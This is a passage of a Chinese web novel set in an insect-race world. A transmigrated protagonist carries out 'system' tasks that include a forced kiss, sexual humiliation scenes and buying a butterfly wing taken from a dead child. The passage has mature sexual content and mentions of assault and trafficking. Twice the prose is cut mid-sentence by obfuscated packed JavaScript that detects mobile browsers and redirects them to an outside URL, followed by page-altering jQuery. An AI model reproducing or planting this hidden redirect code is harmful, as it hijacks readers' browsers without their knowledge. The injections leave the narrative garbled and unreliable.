伽迩接触过的雌虫不多,有高大强壮的摩拉斯,也有长相没正形的卡纳尔,而诺菲西斯在其中极为出挑,像一棵冠大荫浓的香樟树,绿荫如浓稠的墨水渗透,也倾泻出些缕阳光。 可能是雏鸟情节,伽迩对雌虫的印象就是定位在高大的香樟树,可靠、温暖、包容。 是有气味、有形体、有温度的存在。 伽迩隐隐约约感觉到一丝酸甜的香气流露出来,但并不是因为臆想,他似乎想象出如何将虫素形体化,塑造成一个清晰的形象。 是蝴蝶吗? 伽迩的眼前浮现出如丝如缕的线条,线的一端是一抹黑红交织的绚丽,每一次煽动会撒下细碎的金粉。 它轻飘飘地朝诺菲西斯的方向飞去。 在场的游客脸色一变,神态有不同程度的扭曲,雄虫却毫无察觉。他被蝴蝶吸引着向前走,脸上的表情像是在困惑如何把控这只乱飞的蝴蝶。 他的手腕就是在这时倏然一痛,迎着被?住的痛感寻走,对上了深不见底的黑海。 那对温柔似水的眼眸骤然沉坠,紧紧盯着他,里面似乎有什么复杂的情绪一闪而过。 伽迩隐隐听到了什么话,但听不清楚,只能看见眼前的雌虫嘴巴一开一合,随后抿唇,抓住他的手朝厕所走去。 「……不是?明明应该是你扛着诺菲西斯往厕所走……哎!小鬼,小鬼,你醒醒!!」 大嘴的声音忽远忽近,伽迩恍惚间回过神来,发现自己已经被诺菲西斯紧紧抵在厕所的白墙上,呼吸变得沉重而急促。 “雄主……放松,把您的虫素慢慢收回。” 诺菲西斯的声音低沉,扣着伽迩的手高高举过头顶。伽迩贴着冰冷的墙壁,被冻得一个激灵,浑身酸痛无力,像柔软的面条,只要松开手就能顺着墙面滑坐在地上。 「怎么回事,大嘴,我不是雄虫吗……」伽迩勉强恢复了几分神志,他心跳如鼓,皮肤滚烫,这种感觉竟然与他经历的Alpha发情期相似。 「大嘴?!……算了大嘴就大嘴吧,你是A级雄虫,精神力等级高,虫素浓度纯,身体不能承载这样的高精神力。」大嘴解释道。 伽迩真的很无力:「那你怎么不早说……」 大嘴同样崩溃:「我也没想到你会放那么多虫素出来啊,直接成形了我的天,你是没看见,你一放虫素,身后的那些雌虫简直是要吻了上来!我看到时候诺菲西斯轮不轮难说,你快要被轮了。」 伽迩:「?」 伽迩吐出一口浊气:「现在怎么办?」 「走任务啊,先把你的虫素消磨掉。也是好事,至少阴差阳错也是进厕所了,接下来你只要凌.辱诺菲西斯就行。」 伽迩只想翻白眼:「我现在是能凌.辱一个军雌的样子吗?」 「你试试!如果不能成,那就只能做其他节点的任务了。」 伽迩一想到其他节点的剧情,一个比一个恶劣,简直不是个虫,于是咬咬牙,抵着墙壁向上挪动。 “别动。” 诺菲西斯俯身下去,脸上的阴影在厕所的灯光下交错,连眼神都显得与平时不同。 伽迩的呼吸逐渐放缓,觉得诺菲西斯的眼睛不是之前那么亲昵的姿态了。 「小鬼,诺菲西斯的虫素在上升!好机会!」 伽迩别过脸,用力挣扎,一只手突然钳住他的下巴,轻轻掰过。 “雄主,原谅我。” 下一秒,一阵温热柔软的香味散逸,瞬间铺满了他的鼻腔。 伽迩一僵,猛然睁大了眼睛。 16.很难受吗 嘴唇被一片冰凉覆盖。 伽迩的眼睛微微瞪大。 似有若无的兰花香钻入唇缝,带来阵阵酥麻,从舌尖窜到大脑皮层,像被电流击中了一样,极其霸道地侵占了他的口腔。 他看见空中飞舞的黑红蝴蝶突然被一只窜出来的粉白螳螂摁住,两只螳刀卡住翅膀的两边,强壮的后肢将它压倒,丝丝银线使他们相连接,紧紧贴合。 也就是那一瞬间,一股热流从伽迩的喉管窜进五脏六腑,全身的血液都变得沸腾膨胀。 雄虫的手指不禁蜷缩,眼角被滚烫的虫素激出洇润的湿意,领口在拉扯中崩开了最上面的扣子,露出泛红的锁骨。 他仰起头,修长的颈部因绷紧而冒出了青色脉络,下颚线渗出的汗珠坠入锁骨弯,在冷白的灯下泛着微光。 雌虫却像不知疲倦,不断地汲取他的唇舌。 伽迩完全预想不到,自己的初吻竟然是在厕所,还是被摁在墙壁上夺走的。 就像放进慍水里烹煮的青蛙,动弹不得,却眼睁睁看着自己被融化。 「小鬼,小鬼?剧情还走不走?」 看到这,大嘴难免有些着急,局势完全是朝雌虫.压雄虫一面倒。 伽迩无暇思考,但还是运转着为数不多的理智,强撑起来:「走。」 亲吻的时间比伽迩想象的要更短。 一吻即离后,禁锢他的手放了下来,那只幻化出的粉白螳螂也渐渐消散。 伽迩身上的热度慢慢褪去,大概也摸清诺菲西斯这一吻的用意是为了安抚他暴躁的虫素。 身体也放松下来。 外面传来嘈杂的吵闹声和砰砰作响的敲门声。 伽迩的耳朵嗡嗡的,像是埋了小石子,听不明白外面说的是什么。 「重……接……译………」 伽迩的脑海中好像闪过了什么,没听明白,但很快,混沌的思绪和蒙了层水雾的视线变得清晰,他也看清了眼前雌虫的模样。 ……是和霸道全然不符的殷红。 诺菲西斯从酸甜的气味中回过味,还没说话,夹在墙壁下的雄虫就瞬间挣脱,抓着他的手腕,反身将他压在厕所隔间的门框上。 “砰!” 雌虫发出一声闷哼。 厕所的门被门框牵连,剧烈地震颤后,“吱呀”一声打开。 黑发红眸的雄虫将他围堵在墙角,纤密的长睫沾染未干的泪痕,唇线平直,眉宇紧蹙,显得既凶狠又羞愤: “诺菲西斯,你在干什么!” 雌虫闷咳了几声,其实他也不知道自己在做什么。 伽迩·雷索的虫素爆发,大可把他关在厕所,等医院来以后给他稀疏血液的虫素浓度,不必冒着风险与他虫素交融。 而且雄虫高高在上,喜欢占主导地位,更是不会愿意被一只雌侍压在身下亲的。 但莫名其妙的,诺菲西斯就是这么做了。 在厚重的虫素弥漫在场馆之前,在那些被雄虫的虫素引诱到变了神情的野兽们出笼之前,把雄虫带进了厕所,毫无神志地吻了下去。 和他外表的苦涩寡淡不同,雄虫的虫素意外的好吃。 是诺菲西斯一直喜欢的一种口味,酸酸甜甜,泛着果香。 虽然很不想承认,但可能是伽迩的虫素纯度高,引起了他虫素共鸣。 “对不起,雄主。” 诺菲西斯低声道:“是我的错。” 伽迩看雌虫连咳了好几声,不忍担心问:「我是不是太用力了?」 「管他呢。」 大嘴鼓励道:「加油小鬼!该开始扒衣服了!」 提词板的重点就是那几句加红的词和动作。 其中不限于捏下巴,下跪口口,低喘,发出声音让门口的虫想入非非。 雄虫的身体半倾,红眸染上几分鲜活的怒意,眉型的走向十足的阴沉,如果忽略他发红的耳朵。 “对不起有用吗?” 诺菲西斯盯着雄虫的耳廓从淡粉变成充血似得红,表情却是咬牙切齿的:“在外面尽给我丢虫,发.情就不会看看场合?” 提词板上的背景原是诺菲西斯被原主的虫素引诱,在公开场合发.情。原主把雌虫拉进了厕所,指责他淫.乱不堪,以此为由体验了一把一直想尝试的公共play。 而伽迩跳过了前面的这些前因后果,直接跳转到了这句红字,听起来就像是因羞恼发出的埋怨。 诺菲西斯自知理亏,这些倒打一耙的话还真的勾出他少到可怜的愧意。 毕竟是那个家族的少爷,被雌虫吻到眼泪直掉确实挺没面子。 “请您责罚。” 伽迩深吸一口气,片刻后,将手放在雌虫的领口处,从最外层的搭扣开始,一个一个地解。 雄虫的指尖圆润,手背瘦削,修长的手指捏着那几颗扣子,一眨不眨地工作,眼里流露出认真。 一向没耐心的叛军副统领很难形容出胸口掠过的那丝异样感,竟异常安静地等待雄虫剥开最外层的衣服。 直到丢在地上,他都没有任何不悦的情绪浮现。 「好脏。」 伽迩强忍去看地上那件军装的冲动,又开始解雌虫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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诺菲西斯心下一松,顺从地跪在雄虫面前:“请您责罚。” 话音刚落,降在头上的阴影逐渐缩短,变成了雌虫平行视线上的一张脸。 伽迩半蹲着,捏起了雌虫的下巴,然后微微一愣。 “……很难受吗?” 当指尖划过他的眼角,诺菲西斯听见有什么声音喃喃地说,轻飘飘的,好像风一吹就没了。 17.吻太重了 伽迩的指尖沾着一滴透明的泪珠。 雌虫跪在地上,脸随着他的手仰起,柔顺的银发略有些凌乱,眼眶染了一圈湿印,嘴唇也被咬出殷红。 很少见到诺菲西斯的狼狈,温柔稳重的脸上多出一分恍惚,像被揉碎了、捻出汁.水的花,有种被凌.虐过的感觉。 伽迩的喉咙一紧,上下滚动了半晌。 他按压住冒出来的奇怪欲.望,别过头,清理了一下思绪,慢慢地,一丝担忧冒上心头。 是不是刚才吻太重了? 为了留下痕迹,他还动了点牙齿,可以说是连亲带咬。 如果痛了,不舒服了,也是有可能的。 有些人还有肌肤敏感症这种病呢。 伽迩犹豫片刻,不知道自己还要不要继续执行他原先的计划。 任务节点里有一条是下跪口口。 提词板上写:「在雌虫跪下来的十几分钟后,空气中充斥着雄虫浓郁的虫素气味。诺菲西斯的眼角微红,蓝色的眼眸似裹了一汪水,嘴角有撕裂的痕迹,军装早已凌乱不堪。」 这一段全被标红了,用关键词可以提炼出重点:要下跪十几分钟、有浓郁的雄虫虫素、流泪、嘴角撕裂、军装不整。 大部分的要求都完成了,只剩下下跪和唇角受伤。 伽迩安抚.性地摸了摸雌虫耳侧的头发,捏下巴的手稍稍放轻了点。 他自我冷静十分钟,等下跪的时间一过,先从触摸开始,手指在雌虫的嘴角处微微拉扯了一下,说出台词: “我确实要罚你,狠狠罚你。” 诺菲西斯无神的眼珠转动,恍惚的表情逐渐收回,变回了原来正经的面孔。他掩去了眼底一掠而过的自嘲,脸有意朝伽迩的手指倾侧,轻轻地蹭了蹭。 “我来给您舔.出来。” 雌虫贴着伽迩的手,歪着头,眼睛弯弯。 这一次,伽迩觉得笑容没有那么真实。 “什么舔?” 伽迩抿唇,将雌虫的下巴抬高了点,不悦道:“舔一舔就原谅你,太便宜你了。” 诺菲西斯笑道:“那您想要怎么惩罚我呢?” “直接操.进来吗?” 伽迩的手指收紧,他不明白什么样的情况会说出这么糟践自己的话,眼底孕育着他都没察觉到的怒意。 “对。” 伽迩身体前倾,在诺菲西斯冷淡的笑容中咬上了他的唇角,狠狠的,却没咬到底。 …… 血腥气从唇角处传来,带着些许甜味。 诺菲西斯眼神一变,轻轻地吸了口气。 伽迩一触即离,看到唇角确实多出一道小口子,悬着的心落回肚子。 只是脸很红。 “再突然亲我,下次就不是咬一下嘴那么简单了。” 雄虫猛地站起身,沉沉地警告道。 “……” 诺菲西斯有一瞬的沉默。 说他像狗,还真的狗,直接咬。 报复来得如此直接。 是他没有想到的。 “还跪在那里做什么,出来。” 声音从不远的地方传来。 伽迩已经站在厕所的门口,只是偏头瞥了诺菲西斯一眼就飞快地收回,手放在了门把手上,欲要离开。 但身为尊贵的雄子,他完全没必要等雌虫,摆脸色,直接摔门而去都是可以的。 诺菲西斯从地上站起,弯腰拿起了丢在地上的外套,奇怪的感觉从他的心里淌过。 他道了一声是,无言地来到伽迩的身后。 打开门,背后偷听的虫都吓了一跳。 反应快的在听到伽迩说的话就早早退出来,反应慢的还靠着门。 有几个虫很眼熟,黄白工作服赫然是那个亚雌解说员,其中也不乏伽迩在投屏上看到的一身精英范的博物馆馆长。 空气凝滞半晌,伽迩维持着站在门口的开门姿势,盯着姿势各异的众虫,表情一言难尽:“……你们在这里做什么?” 在这里做什么? 站在最前面的几个虫心里自问,旋即尴尬地对视了一眼。 还能做什么? 当然是在偷听啊! 在静默中,博物馆馆长做了一段心理建设,率先走上前,温文有礼地问:“尊贵的阁下,您需要帮助吗?” 其实他一直在流冷汗。 厕所的门一开,那股浓郁的虫素味道就争先恐后地溢散出来,想不闻到都难。 在得知有雄虫当场发.情,他马不停蹄地就赶过来了,一眼就看到了露出虫化特征的雌虫围堵在厕所门口,疯狂砸门的场面。 能来K11的雄虫非富即贵,如果在博物馆被雌虫群X的话,别说是他,就连博物馆都会遭殃。 现在,博物馆已经采取紧急措施,厕所外的场馆内开启了虫素清新模式,残留的虫素味道消去大半。 亚雌不能完全虫化,受到的影响最小,所以混乱的解说员尚且能把前因后果告诉馆长。 当他听说进入的雄虫是一副黑发红瞳,还有个雌虫把他拉进了厕所,馆长吓得魂都没了,差点要去炸门。 他庆幸厕所的大门是加入了刚殒石的坚硬基体,同时也后悔门的质量太高,门钥匙又被他弄丢了,进不去! 馆长一想,姿态无限放低,将头埋到最底:“非常抱歉给您带来不愉快的体验,我愿意代 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这件事被有心虫记下,带回了军部,但目前的伽迩一无所知。 他一路上都是保持着高冷寡言,任务的后劲十足,使得他与雌虫对视都成了高难度。 事情以戏剧性的形式告一段落,下一个任务就成了简单模式。 伽迩缓了一段时间,在通过第二个节点后,迎来了第三个节点。 地下黑市的拍卖。 . 被雄虫冷落了快一周,又经历了一遍暧昧拉扯,诺菲西斯隐隐能摸出雄虫的一些心理。 那些无厘头的,意想不到的脑回路,在雄虫的身上变得有迹可循。 K2传来的信息中,雄虫在主宅除了偶尔的作一下,平日里都安静地呆在书房或客厅的沙发上和智能机器管家玩。 有时候会和机器对话。 K2说还挺可爱的,但诺菲西斯没有看。 因为他得到了一条情报——一条他等待了十几年的消息: 半只海伦那金闪蝶的翅膀,将在K11的隔壁星球,石岩星的地下黑市召开拍卖会。 所以,在伽迩·雷索找上他说要去隔壁的石岩星参加拍卖时,想着如何用军部命令摆脱雄虫的诺菲西斯顿时警觉。 他不动声色地试探雄虫去拍卖会的用意,试图找出雄虫与翅膀的关联。 但伽迩的嘴闭得很严,只是说想去玩。 这一点引起了诺菲西斯的疑心。 他决定亲自跟着雄虫参加拍卖会,将拍取翅膀的任务交给K2。 18.拍卖会 距离寻找叛军的任务还有44天。 伽迩没有一点进展。 他对那支叛军一头雾水,耳边却有个叫大嘴的家伙信誓旦旦地保证:做了销毁翅膀的任务就离找到叛军不远了。 这几天为了完成这个小任务,大嘴的态度发生了巨大转变,特地为他潜入诺诺的星际网,查询一些有关石岩星的讯息。 也是在这时,伽迩发现了这个大嘴竟然能与机器共感。 「你之前怎么不用这个能力?」伽迩抓了抓头发,非常想把这个唧唧歪歪不干正事的破系统抓出来暴揍一顿。 大嘴干笑了两声:「这不是想检测一下你嘛。干得不错小鬼,事实证明我的眼光还是很独到的!」 呵呵。 到底是谁在后悔找他来虫族? 伽迩懒得喷它,抓紧时间问:「不管这个,先说石岩星。」 大嘴也知道孰轻孰重,回复道:「行。」 过了一会儿,查完资料的大嘴重新出现:「石岩星,坎德拉菲最大的矿星,矿产资源丰富,有很多被买卖进来的雌虫苦力,三不管地带较多,是极其危险混乱的地方。」 「据资料显示,因靠近赛亚伦星系,石岩星偏向着“雌尊雄卑”,很容易发生雄虫拐卖事件,一纪年中,被拐走的雄虫数最高可达231只……」 「231?」 伽迩的后颈不由得发冷。 231只,按照虫族一年近500天计算,那就是两天拐一只。 很可怕的数字了。 「普通雄虫在虫族社会是个什么地位你也应该清楚。珍贵是很珍贵啦,但仅仅是因为繁衍,只要能生产出大量虫崽,上层是睁一只眼闭一只眼的。」大嘴难得沉重道:「也就是说,被拐走,就很难被找回来了。」 对比姆拉塔克拉的奢靡,坎德拉菲和赛亚伦下藏着的腌臢龌龊,是生活在水晶笼中的雄虫所不知道的。 上下三个星系,走最极端的路,上星系的雌虫受尽搓磨,下星系的雄虫被当作生.育工具。 伽迩结合了记忆与书籍,不免推测出这一点,但事实好像远比他想象的残酷。 不过不管怎样,虫贩子都不值得可怜。 「当心点,小鬼。」 大嘴这一句饱含了它难得的真心,毕竟伽迩被拐走,任务就要重新开始,对它来说不是好事。 伽迩慎重地点了点头。 确实要当心。 … 几个小时后,伽迩搭乘着星舰在石岩星停靠。 石岩星的地下拍卖场,顾名思义是仅出现在石岩星地下城区的拍卖会。 它与黑市接壤,危险度在五颗星的级别里可达四星。 大嘴强烈推荐他去找几个保镖跟着,于是,伽迩调来了主宅里最强壮厉害的雌虫跟着他一起来到石岩星,而诺菲西斯则是他的陪同伴侣。 此时,由一群威猛壮汉包围的雄虫穿着宽大的斗篷迎风行走。 尽管兜帽遮住了他大半张面孔,但胸前的红宝石细带和斗篷下的洁白礼服,彰显了他身份上的尊贵。 有虫偷偷打量着这个雄虫,猜测着他是哪位家族的雄子。不经意间,阴湿昏暗的通行道上,众多目光投落在他的身上。 伽迩拉了拉兜帽,在阴影下无声观察着传说中的地下城区。 这是仅次于石岩星腹地的奢华地带,也是危险与恐怖相随的地带。数道悬浮轨道交错着涌入中间的半圆建筑物中,浓缩了科技与黑暗于一身,像一个冰冷缜密的大型机器。 他畅通无阻地来到“半圆机器”的其中一个通行闸口。迎宾员拦住了伽迩,毫无情绪地说:“请您出示邀请函,并进行脱帽检查。” 伽迩拿下兜帽,下面是一张白皙阴鸷的脸。他冷冷的扫了迎宾员一眼,从胸前抽出一张卡丢在后者的手中:“可以了?” “可,可以。” 迎宾员愣神许久,这才低下头,摁着自己的礼帽,向雄虫恭敬地行礼。 周围的目光愈加炙热起来,带着丝丝黏.浊的贪念,一齐消逝在雄虫步入会场的背影中。 . 邀请函是寄过来的,落款是拍卖场的主虫。 伽迩在外面做了登记,收到竞拍号码后,被告知随从只能停留于此。 “我的家属也不能进?”伽迩问。 工作者摇了摇头:“很抱歉阁下,这是规定。” 伽迩暗叹一声,转头看向诺菲西斯:“你在这里等我。” “好。” 入场前,伽迩用余光偷瞄了雌虫两眼。在涌动的虫流中,身披漆黑斗篷的诺菲西斯退居一旁,兜帽下的脸姿态谦卑,站在那群雌虫侍从中也不显得突兀。 这一点倒是让伽迩有种莫名的感觉。 诺菲西斯……这么会藏情绪吗? 「你确定诺菲西斯很重视那个翅膀?」伽迩狐疑道。 大嘴像抓住了某个机会,得意洋洋地哼哼:「我可没说过他很重视哦,是你自己猜的哦。」 伽迩当然不会因为大嘴的一面之词而动摇,只是,他想到—— 如果诺菲西斯能做到对自己在乎的东西都不动声色,那他之前的那些话又有几分真假。 他是……真心的吗? 光怪陆离的灯光落在少年的眉骨,被阴影分割成细碎的光斑,让他冷漠的脸上多出几分说不出的暗淡。 由虫流裹挟着的他,还有多少选择。 ……只能一路地向前了罢。 伽迩晃了晃头,浅浅地吁一口气。纵使有疑心,现在也是关键时刻,苦了别人也不能苦自己,反正也要回蓝星了。 他整理了一下思绪,跟着一起走进会场。 拍卖会场的内部是由下层的拱形座堆积而成,层层叠叠座位由高到低形成一个弧形的斜坡。金碧辉煌的墙壁两侧分布着不规则的半圆形悬空露台,由透明的玻璃阻隔,上上下下共有二十个。 黑幕拉开的一刹那,昏暗的室内灯珠被统一调到最亮,如昼的灯光直射入中心舞台的拍卖平台。 一道清脆的铃声响起,缓缓向四面八方震荡 ,而伽迩恰好从悬浮电梯来到露台处落座。 这时,拍卖会场的观众席已经挤满了虫。他们喧闹吵杂的声音在这一声声的震荡中逐渐平息。一个亚雌身穿丝质的低领衬衣和阔腿的开衩长裤走上台,雪白的大腿一览无遗。他手中拿着一支血色的花,掩唇轻笑了一下,道:“各位,晚好。” “想必大家都已经等不及了,我就不说那些场面套词耽误大家的时间。” 亚雌微微俯下身,随后拍了拍手。 不一会儿,一个同样穿着的虫族拿着一个红丝绒礼盒走来。 “这是深海星球的底层挖掘出的奇妙矿石,形状似水滴……” …… 伽迩等待了一个多小时的时间,拍卖会场卖出了八样商品,价格与珍稀程度逐步升高。 在亚雌拍卖师的巧言挑动下,现场的拍品都以起拍价的两到三倍被买走,全场也陷入一片热烈高潮。 “各位,接下来的这件拍品,恐怕是世间仅有的两件之一。”亚雌轻笑了一声。 “海伦那金闪蝶的翅膀,紫款。” 话音刚落,全场的呼声突然抬高,亚雌也退后了一步,露出了身后推出来的一辆小型推车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938831|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推车上挂着红色绒布,被四个角顶起,当掀开红布,正方形的玻璃罩中竖立着一只蝴蝶翅膀。 伽迩很难形容出那只翅膀的美丽。 金的、紫的、蓝的,交相辉印,如水珠落入池潭的波纹,从翅尖到翅根不断变浅,再入深,镶嵌了星星点点的粉状金边。 这次拍卖师只是笑笑没有多说什么,他相信这只翅膀的价值足以让在场的所有虫痴狂。 “起拍价,五千万德朗!” 台下传来激动的叫声。 很快,报价声此起彼伏地响起来。 “五千五百万德朗!” “六千万德朗!” “七千八百万德朗!!” “……” 台下难掩痴狂,伽迩喉咙干涩,抿了一口水。他的耳朵仔细地听着,视线不敢移开拍品一步。 直到一声极高价—— “我出四亿德朗。” 伽迩手一抖,惊讶地看向出声的地方,只见对面的露台上,黑色的斗篷遮不住拍者壮硕健美的体态,看起来是一个非常强大的雌虫。 全场哗然。 价格从两个亿德朗直接跳到三个亿,巨大的跨度,使得那种狂热像被泼了一桶冷水,把大部分的虫都浇灭了。 “四亿德朗一次。” “四亿德朗两次。” 伽迩从恍惚中回过神,着急忙慌地拿起竞拍牌: “我出四亿零一万德朗。” “……” 画风徒然骤变。 在激烈的竞拍中,冒出了个与前期风格完全不同的小心谨慎,但却报出了与其谨慎全然不符的高额数字。 没有虫说话,但远比之前更多的目光看向伽迩。 大嘴先是震惊,震惊之后是无语,无语之后是愤怒,短短几秒钟转换了三种情绪,最后对伽迩尖声叫道:「小鬼!!!」 「你的人设呢?!!」 伽迩“啊”了一声,摸了摸鼻子:「不行吗?」 「当然不行!伽迩·雷索可是有钱雄虫,哪里会如此抠搜啊!!」 「可我觉得一万很多了……可以买很多东西?」 其实在伽迩眼里,一个亿简直是他想也不敢想的数字,报出来的时候,心都在发颤。 花钱如流水,一用就是以万做单位,很挑战他的心理压力。 「花的又不是你的钱!反正也是雷索家贪污受贿来的脏钱,你省着做什么!!」 伽迩无奈道:「我知道了。」 「要不你等会儿用一级电流电我?」 大嘴冷笑一声,一级电流?挠痒痒而已,还浪费它的能量。 「拍卖去。」大嘴撇了撇嘴。 拍卖师惊愕片刻,迅速恢复到了镇定,他高声道: “四亿零一万德朗一次。” 那个高壮的黑斗篷猛地站起来:“我出四亿五千万德朗。” 「五亿德朗!这个家伙就不会再出了!」大嘴笃定道。 伽迩举起牌子:「五亿。」 “……” 对面沉默。 拍卖师嘴角露出一个欣喜的笑容: “五亿德朗一次。” “五亿德朗两次。” “五亿德朗三次。” “成交!” · 该死! 对面的露台上,绿发蜘蛛把拍卖牌扔在了地上。 他的表情扭曲又慌乱,下颚的肌肉控制不住地抽动。他摁了一下皮肤下的电子通讯器,着急地和另一头的雌虫说: “A7,你那雄虫把小尼恩的翅膀拍走了!” 19.小蝴蝶 拍卖结束,伽迩乘坐内部电梯下楼,接待的雌虫早早在下面等候。 “阁下,请?” 雌虫向左侧一条阴暗的通道伸出手,伽迩点头,跟着他走入小道。 狭小的空间后是一间豁然开朗的等候厅,沙发上落座了几个不同斗篷的虫族。 他们的姿势不一,都是闲适放松的状态,还有的在三三两两闲聊。 当看见伽迩时,雌虫们统一都有些停顿,紧接着是骤然正经的坐姿。 ——就是他? ——对,买了金闪蝶的虫。 有虫心照不宣地对视一眼,暗自猜测伽迩的身份。 雷索家小雄子嚣张跋扈的名声和张扬的美貌仅限于上层群集的主星姆拉塔克拉,而非响彻三大星系。一些身处其他两大星系的土霸主并不知道这个雄虫是雷索家的小雄子。 而消息灵通者,已经知道这黑袍下的是一个长相优越的雄虫了。 他们静坐在沙发上,用余光肆意扫描后者匀称的四肢,大胆者吞咽了一口唾沫,有意放出了一丝虫素。 莱德正与另外一个雌虫相谈甚欢。 他是一个恰好拿到名额的中下等贵族,在第一轮拍下了那颗水滴钻石,想借着取拍品的时候勾搭一位有钱的雌虫,再拿走雌虫大部分财产,抬高贵族等级。 没想到伽迩的到来吸引了大量的注意力。 他紧皱着眉,观察眼前的虫,从身高来看,不是亚雌就是雄虫。 众所周知,贵族亚雌在家族中的地位也是不高,在没有从军的情况下,他们没有“独自生存”的能力,几乎要依附雄虫或家族而活。家族是不会让亚雌来参加这样的一个拍卖会。 所以,他是雄虫无疑。 本以为在场两个雄虫已经够烦了,竟然还来一个,莱德对伽迩生起了敌意。 此刻的雄虫并不知道这件事,他低垂着头,径直走过沙发过道,来到最里一个座位坐下,随后陷入柔软的沙发里闭目养神。 休息的雄虫仰躺着,手抵着额头,身体就像抽条的柳枝,侧面都觉得好看。 眼热的雌虫放出的虫素就更加多了…… 短短时间,这些试图引诱伽迩的虫素变成烦扰他的「毒药」。伽迩的脑袋又酸又胀,鼻前是各种混杂的气味。他细细分辨了一下,闻不出气味的来源,被大嘴告知是雌虫的求爱讯号,霎时难受起来。 伽迩迫不及待地想要离开这。 放那么多虫素,他非但没觉得爱,反而觉得晕乎乎想吐。 在拍卖师纷纷过来交接拍品时,伽迩检查了一遍虫翅,没有理会上前搭话的其他雌虫,立刻刷卡抱拍品离开。 所幸没有虫继续纠缠,引导员带着伽迩从另一条路通过。 由于东西的重要性,伽迩拒绝了让引导员拿的服务。 路上,他掂了掂玻璃箱,箱体冰滑,重量像羽绒似的。 他又比划了一下。 很小。 比他的手臂短,一米不到的长度,是能环住的程度。 刚刚在上面俯视,所以根本没注意到,这个虫翅比他想象中的要短很多,还栩栩如生。 伽迩专注地凝视着玻璃中沉睡的虫翅,微微蜷缩的翅膀尖看起来像是在环抱一样,让人心口发软。 过了一会儿,他笑了笑,道:「好漂亮,有点舍不得摔了。」 大嘴活像是在夸它漂亮,骄傲地说:「那当然了,海伦那金闪蝶翅可不是吹嘘的!它可是号称破碎之源的珍品!」 伽迩摸了摸玻璃面,好奇问:「为什么叫破碎之源?」不就是个模型吗? 大嘴啧声道:「笨小鬼,因为它易碎且难保存啊。不仅是封存难,制取更难!」 「完整的虫翅可是要用精细的手法从金闪蝶种的雌虫身上剥离下来,但凡错一步都会失活。」 大嘴还在得意洋洋地介绍,伽迩倏然停下脚步,前面带路的引导员也停了下来,疑惑地看向伽迩。 “阁下?” 刺骨的寒意像千万只蚂蚁,密密麻麻地在伽迩的脊椎骨上攀爬。他抱着玻璃箱,只觉得手心发凉: 「你说,这是雌虫身体上的?」 大嘴停下话音,自觉失语,许久之后才支支吾吾道:「啊,嗯,那个,其实是这样的……」 伽迩:「是怎样?」 大嘴:「是你听错了。」 伽迩没有说话,只是神情格外冰冷:「你想骗我到什么时候?」 听出伽迩语气中的冷意,大嘴闭嘴不语。 伽迩深吸一口气,随即拧了拧眉,认真地看着蓝屏上的大嘴,把之前一直没宣之于口的猜测说出来:「你看起来很想让我完成任务,我是不是可以猜一猜,我的这个任务和你有关?」 大嘴张了张嘴:「和我能有什么关系……」 「有。」伽迩一个个地猜测:「比如奖励,比如升职,加薪?或者说,我做不做任务关系到你的存亡。」 大嘴大叫:「没有!」 「那既然没有,你为什么骗我?」伽迩抿平了唇线:「如果你还不肯说实话的话,那我就不做任务了。」 「大不了死在这,大不了不回蓝星。」 大嘴压着嗓子道:「你不敢。小鬼,我说过的,我有很多选择……」 「行。」 伽迩垂下眼皮,手指摩挲了一下玻璃面:「那你去换一个选择吧。」 大嘴愣住了。 伽迩:「你的嘴里没一句实话,谁知道毁掉翅膀,找到叛军后能回蓝星的话是不是真的?」 他别过头,闷声道:「说不定也是假的,什么都是假的。那不如什么也不做,好歹有个好名声。」 大嘴急了:「不是,这些都是真的!」 伽迩抓住了大嘴话里的漏洞,旋即反问:「那其他那些呢?」 大嘴磨了磨牙。 伽迩转过身,叹息道:「算了,还是把翅膀送回去吧。」 「我告诉你,我告诉你行了吧!」 大嘴奔溃喊道:「别送回去了!」 听到这句话,伽迩捏了捏满是汗的拳心,如释重负地转回身体。 赌赢了。 大嘴确实没有其他选择。第一次谈判的时候,大嘴只是在虚张声势,就和现在的他一样。 「你说吧。」伽迩佯装不在意地蹭了蹭斗篷,把掌心的汗擦掉点,然后道。 「这个翅膀确实是雌虫的。」大嘴不情不愿地说。 久久没等到后文,伽迩故意板起脸问:「翅膀和诺菲西斯什么关系?为什么要在他面前毁掉?继续说啊。」 大嘴并不想回答,但现在的局面容不得他不回答,于是它咬牙道:「就是……诺菲西斯认识的一个小雌虫,关系挺好的,因为卷入意外死掉了,尸体被有心虫带走瓜分,目前翅膀流落在外,诺菲西斯正在收集他的虫翅。」 伽迩又重新攥紧了拳头:「所以这是小雌虫的遗物,你让我把诺菲西斯视作珍重的遗物在他面前破坏掉?!」 这么小的翅翼,能撑起多大的身体呢? 伽迩想起了他所看的图鉴里,虫族雌虫的身高统一都在一米七五朝上,两米、两米二大有虫在。 带虫翅的成年期雌虫有甚者可以遮天蔽日,长到超出身体一倍,甚至两倍的长度。只带副翅的雌虫也有将近两米的长度。 可他手里的这只,连一米都不到。 那得是多小的虫崽…… 一股难以言喻的窒息紧紧地攥着他的气管,伽迩的喉咙突然干涩,胸腔升腾出怒意。 到底是多么黑心的贩子才能做出这么残忍的事。 把孩子的身体.瓜分…… 还要让他踩在脚下碾碎了,剁烂了,辱骂着,嘲笑着。 「这,这没办法!你不完成这个任务,是没办法回蓝星的,我也是为了你好啊……」 说到这,大嘴也有些委屈。 它来到这个虫族已经快三十年的时间了,到现在都没带出个通关的人,主脑联系不上,能量也快被耗尽了…… 小鬼头是唯一一个走到现在的。 